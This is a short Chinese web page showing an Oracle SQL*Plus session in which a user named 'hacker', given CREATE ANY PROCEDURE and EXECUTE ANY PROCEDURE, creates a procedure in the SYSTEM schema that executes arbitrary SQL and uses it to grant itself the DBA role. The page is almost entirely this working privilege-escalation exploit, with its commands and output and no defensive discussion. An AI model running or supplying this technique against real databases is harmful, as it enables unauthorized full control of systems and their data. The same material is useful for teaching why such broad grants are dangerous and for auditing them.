您的位置:首页 > 其它

获取dba权限的存储过程

2012-02-09 17:30 190 查看
SQL> conn / as sysdba

Connected.

SQL> create user hacker identified by bbk_12345;

User created.

SQL> grant create session to hacker;

Grant succeeded.

SQL> grant create any procedure, execute any procedure to hacker;

Grant succeeded.

SQL> conn hacker/bbk_12345

Connected.

SQL> create procedure system.h1(h1_str in varchar2) as

2 begin

3 execute immediate h1_str;

4 end;

5 /

Procedure created.

SQL> execute system.h1('grant dba to hacker');

PL/SQL procedure successfully completed.

SQL> conn hacker/bbk_12345

Connected.

SQL> select * from session_privs;

PRIVILEGE

----------------------------------------

ALTER SYSTEM

AUDIT SYSTEM

CREATE SESSION

ALTER SESSION

RESTRICTED SESSION

CREATE TABLESPACE

ALTER TABLESPACE

MANAGE TABLESPACE

DROP TABLESPACE

UNLIMITED TABLESPACE

CREATE USER

......

161 rows selected.

搞定
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: